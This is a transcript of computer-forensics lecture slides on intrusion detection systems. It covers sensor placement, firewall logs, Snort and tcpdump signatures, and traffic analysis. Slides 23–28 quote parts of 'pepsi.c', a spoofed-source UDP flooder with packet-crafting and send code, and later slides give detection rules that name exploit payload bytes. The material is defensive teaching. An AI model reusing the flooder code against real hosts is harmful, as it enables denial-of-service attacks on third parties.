1 / 43

COEN 252 Computer Forensics

COEN 252 Computer Forensics. Intrusion Detection Systems. Book recommendations . Richard Bejtlich: The Tao of Network Security Monitoring, Addison Wesley, 2005 Stephen Northcutt, Judy Novak: Network Intrusion Detection, Third Edition, SANS GIAC, New Riders, 2003

ady
Download Presentation

COEN 252 Computer Forensics

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. COEN 252 Computer Forensics Intrusion Detection Systems

  2. Book recommendations • Richard Bejtlich: The Tao of Network Security Monitoring, Addison Wesley, 2005 • Stephen Northcutt, Judy Novak: Network Intrusion Detection, Third Edition, SANS GIAC, New Riders, 2003 • E. Eugene Schultz, Russell Shumway: Incident Response, New Riders, 2002

  3. IDS Overview • Intrusion Detection System • Host based • Network based (NIDS) • System Integrity Verifiers (SIV) • Log File Monitors • Deception Systems (decoys, honeypots)

  4. IDS Architecture • Raw packet logging • Too much traffic, hence: • Attack detection: • Attack Signatures • Can only find known attacks • Anomaly Detection • Finds deviations from normal traffic • But what is normal traffic?

  5. IDS Architecture • Host Based Intrusion Detection • Looks for changes to critical files. • Tripwire. • Detection of change and recovery to known good states already provided by MS Windows. • Provide this system with access control.

  6. IDS Architecture • False positives: • Alarms are ringing, but there is no fire. • Example • NIDS reported login attempts. • From within the network, but to remote site. • Logs showed that logons were attempt to access unavailable network resources. • Traced to workstations attempting to access an antivirus software update server.

  7. IDS Architecture • False Negatives. • Stealth scans: Traffic at slow rate. • Suspicious traffic can be legitimate: • User forgot password. • Heavy traffic can be taken for a DoS attack.

  8. IDS Architecture • NIDS placement • NIDS limited by traffic. • Switched environments make NIDS difficult to place. • On network perimeter: • Both sides of firewalls.

  9. IDS Architecture • NIDS data gathering: • With hubs • With SPAN ports • With TAPs • With inline devices

  10. IDS Architecture • Hubs • Cheap • Performance bottleneck? • Might not see all traffic.

  11. IDS Architecture • Switch with SPAN port • Not so cheap • Hard to configure. • Under heavy load, not all traffic is sent to monitoring station. • All traffic needs to pass through a single switch.

  12. IDS Architecture • Test Access Port: • Designed for monitoring • One TAP port sees outside bound traffic. • Other TAP port sees inside bound traffic. • Need to reconstruct both streams.

  13. IDS Architecture • Inline devices • Filtering bridges • Can also be used as a cage. • Filtering bridge can isolate a “caged” workstation.

  14. IDS Architecture • Wireless Monitoring • On a Wireless Access Point (WAP) with Ethereal and similar tools • Knoppix allows raw 802.11 traffic

  15. IDS Architecture • IDS Sensor Architecture • Machine needs to be able to process traffic. • <T1: 300 MHz Pentium, 256 MB RAM, 20GB HD, 32 b PCI bus. • T1 … < T3: 750MHz Pentium, 512 MB RAM, 80 GB HD, 32-64b PCI bus • T3 and higher: 1GHz Pentium, 1GB RAM, 240 GB HD, PCI-X or PCI-Express bus

  16. IDS Architecture • IDS Sensor Architecture • OS • Since sensors are placed on the perimeter, we need secure OS. • Need open security tools. • BSD preferred: FreeBSD. • Access • In band remote access • More fragile. • Out of band remote access • More cumbersome.

  17. IDS Architecture • Push / Pull • Typically, push detected events to the analysis platform. • This can be a security issue: • If sensor is observable, observer can detect sensor configuration.

  18. IDS Architecture • Analyst Console • Critical for performance. • Needs to provide capabilities such as: • False positive detection. • Display filters • Mark events that have already been analyzed • Drill down • Start with big picture data, then give details. • Correlation • “Have I seen this before?” • Good reporting

  19. IDS Operations • Anomaly Detection • Based on statistical anomalies, compared with • CPU utilization • Disk activity • User logins • File activity, etc. • Does not have to understand the cause.

  20. IDS Operations • Application protocol verification • Invalid protocol behavior, such as WinNuke • WinNuke attacker sends “out-of-band” / “urgent” data to port 139 on a Win95 system. • Unusual behavior such as DNS cache poisoning. • Simple create new logs that can then later be correlated with other system logs to show what happened.

  21. IDS ExampleUDP Flooding January 1999 08:10:10 bobadilla.echo > 192.210.19.198.666: udp 1024 (DF) 08:10:10 bobadilla.echo > 192.210.19.198.666: udp 426 (DF) 08:10:17 bobadilla.echo > 192.210.19.198.666: udp 1024 (DF) 08:10:17 bobadilla.echo > 192.210.19.198.666: udp 426 (DF) 08:10:22 bobadilla.echo > 192.210.19.198.666: udp 1024 (DF) 08:10:22 bobadilla.echo > 192.210.19.198.666: udp 426 (DF) 08:10:28 bobadilla.echo > 192.210.19.62.666: udp 1024 (DF) 08:10:28 bobadilla.echo > 192.210.19.62.666: udp 426 (DF) 08:10:35 bobadilla.echo > 192.210.19.198.666: udp 1024 (DF) 08:10:35 bobadilla.echo > 192.210.19.198.666: udp 426 (DF) 08:10:49 bobadilla.echo > 192.210.19.62.666: udp 1024 (DF) 08:10:49 bobadilla.echo > 192.210.19.62.666: udp 426 (DF) 08:11:05 bobadilla.echo > 192.210.19.62.666: udp 1024 (DF) 08:11:05 bobadilla.echo > 192.210.19.62.666: udp 426 (DF)

  22. IDS ExampleUDP Flooding January 1999 • Example of the Pepsi UDP flood. • Send out UDP packages as fast as possible • Sends UPD packages with a spoofed return address to an echo port (at Bobadilla). • Echo returns it to the source address. • Two systems under attack.

  23. IDS Examplepepsi.c found on Internet /* * pepsi.c * Random Source Host UDP flooder * * Author: Soldier@data-t.org * * [12.25.1996] * * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd, * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^ * Toasty, [shadow], [magnus] and silitek, oh and Data-T. * * Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity, * Yakuza for ripping my code, #cha0s on the undernet for trying to port * it to win95, then ircOpers on efnet for being such cocksuckers * especially prae for trying to call the fbi on me at least 5 times. * all warez pups i don't know for ripping off honest programers. * and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego * the size of california. * AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean, Piker, * pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN * INTERNET HISTORY, AMM. * * * Disclaimer since i don't wanna go to jail * - this is for educational purposes only * */

  24. IDS Examplepepsi.c found on Internet #define FRIEND "My christmas present to the internet -Soldier" #define VERSION "Pepsi.c v1.6" #define DSTPORT 7 #define SRCPORT 19 #define PSIZE 1024 #define DWAIT 1

  25. IDS Examplepepsi.c found on Internet void usage(char *pname) { printf("usage:\n "); printf("%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>\n\n", pname); printf("\t-s <src> : source where packets are comming from\n"); printf("\t-n <num> : number of UDP packets to send\n"); printf("\t-p <size> : Packet Size [Default is 1024]\n"); printf("\t-d <port> : Destination Port [Default is %.2d]\n", DSTPORT); printf("\t-o <port> : Source Port [Default is %.2d]\n", SRCPORT); printf("\t-w <time> : Wait time between packets [Default is 1]\n"); printf("\t<dest> : destination \n"); printf("\n"); exit(EXIT_SUCCESS); }

  26. IDS Examplepepsi.c found on Internet if (srchost && *srchost) ip->saddr = resolve(srchost); ip->daddr = dst; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_UDP; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip->check = in_cksum(ip, sizeof(struct iphdr)); udp->source = htons(srcport); udp->dest = htons(dstport); udp->len = htons(sizeof(struct udphdr) + psize);

  27. IDS Examplepepsi.c found on Internet if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + psize, 0, (struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in)) == (-1)) { puts("[*] Error sending Packet"); perror("SendPacket"); exit(EXIT_FAILURE); }

  28. IDS Examplepepsi.c found on Internet • This is almost the complete code. • Default ports are defined, but can be overwritten. • Port 666 is used by Doom game. • User input allows change from default values. • Package is crafted. • And sent.

  29. IDS and Firewalls • Firewalls perturb traffic: • Three way handshake is disrupted. • Firewall logs are primary evidence and are primary method of intrusion detection.

  30. IDS and Firewalls • Firewall Log • IP packet discarded from 222.168.40.21 for port 1880. • IP packet discarded from 222.168.40.21 for port 1882. • IP packet discarded from 222.168.40.21 for port 1881. • This firewall log gives us a fact, but not enough to figure out what is happening. • Is this TCP? UDP?

  31. IDS and Firewalls • Another log from a different vendor: • UDP packet dropped: Source 123.4.56.78, 2820, WAN – Destination 169.8.27.38 33430 LAN - - Rule 33 • This entry gives us enough information: Source port, destination port, protocol. • Traceroute from outside web server.

  32. IDS and Firewalls • Yet another log: • Myhost kernel: IN=eth0 OUT = MAC = 00:80:80:80:98:ae:3e:32:12:45:a0 SRC=1.1.1.1 Dst=192.168.127.45 LEN=38 TOS = 0x00 PREC=0x00 TTL=1 ID=31758 PROTO=UDP SPT=32789 DPT=33433 • This is another traceroute. • Best log seen.

  33. IDS and Signatures • Signature Types • Header-based: Inspect the packet header • Pattern-matching: Match for content string • Atomic: match in a single packet • Stateful: match on reassembled packets • Protocol-based: Inspect based on RFC • Heuristic-based: Inspect based on statistics • Anomaly-based:

  34. IDS and Signatures • Header-based: • Destination port TCP 139 and Out of Band • tcpdump “dst port 139 and tcp[13] & 0x20!=0 and tcp[18]!=0” • Detects the old WinNuke attack. • WinNuke packets go to NetBIOS ports such as 139, have an urgent flag set, and have a non-zero urgent value.

  35. IDS and Signatures • Pattern-matching: looking for the tsig overflow attempt. • alert udp $External_Net any -> $Home_Net 53 \ (msg: “Exploit named tsig overflow attempt”;\ content: “|80 00 07 00 00 00 00 00 01 3F 00 01 02|/bin/sh”; • Snort rule looking for a pattern for a BIND transaction signature tsig code. • Looks for specific byte code to UDP destination port 53.

  36. IDS and Signatures • Heuristic-based • Look for large ICMP packets • alert icmp any -> $HOME_NET (msg:\ “Large ICMP packet”; dsize > 800); • Such large ICMP packets are unusual.

  37. IDS and Signatures • Encryption: • Back Orifice uses a simple encryption scheme to protect its packet payload. • All BO packets start with *!*QWTY? • Barbwire uses Blowfish encryption. • Challenge for string searches.

  38. IDS and Signatures • Fragmentation • Allows to hide attack strings. • Stateful analysis is more cumbersome. • Too Generic • Superscan: • 4500 0024 c5eb 0000 6f01 a144 4201 f789 c08a 6b42 0800 fc46 0200 f9b8 0000 0000 0000 0000 0000 0000 0000 0000 0000 • alert icmp !$HOME_NET any -> $ HOME_NET any (msg: “Superscan echo”; content “|00000000000000000000|”; itype:8; dsize: 8;) • Too many matches.

  39. Traffic Analysis • Look for crafted packets: • Cheops uses TCP with both SYN and FIN flag set. This is impossible in normal TCP. • Basic traffic characteristics • To, from, date, time • Information on source host • Weight or severity • Size, service, type class • Tiny fragments, e.g. generated by nMap. • Strange TTL values

  40. Traffic Analysis • Link Graphs • A message passing from A to B generates a link between A and B. • Links are weighted by the number of connections.

  41. Traffic Analysis • Link Graphs • Ping Scan J D X A C B F E I G H

  42. Traffic Analysis Intellitactics NSM

  43. Traffic Analysis • Short Time Profile Changes • Profile: Statistics on connections, port spread, services, etc.

More Related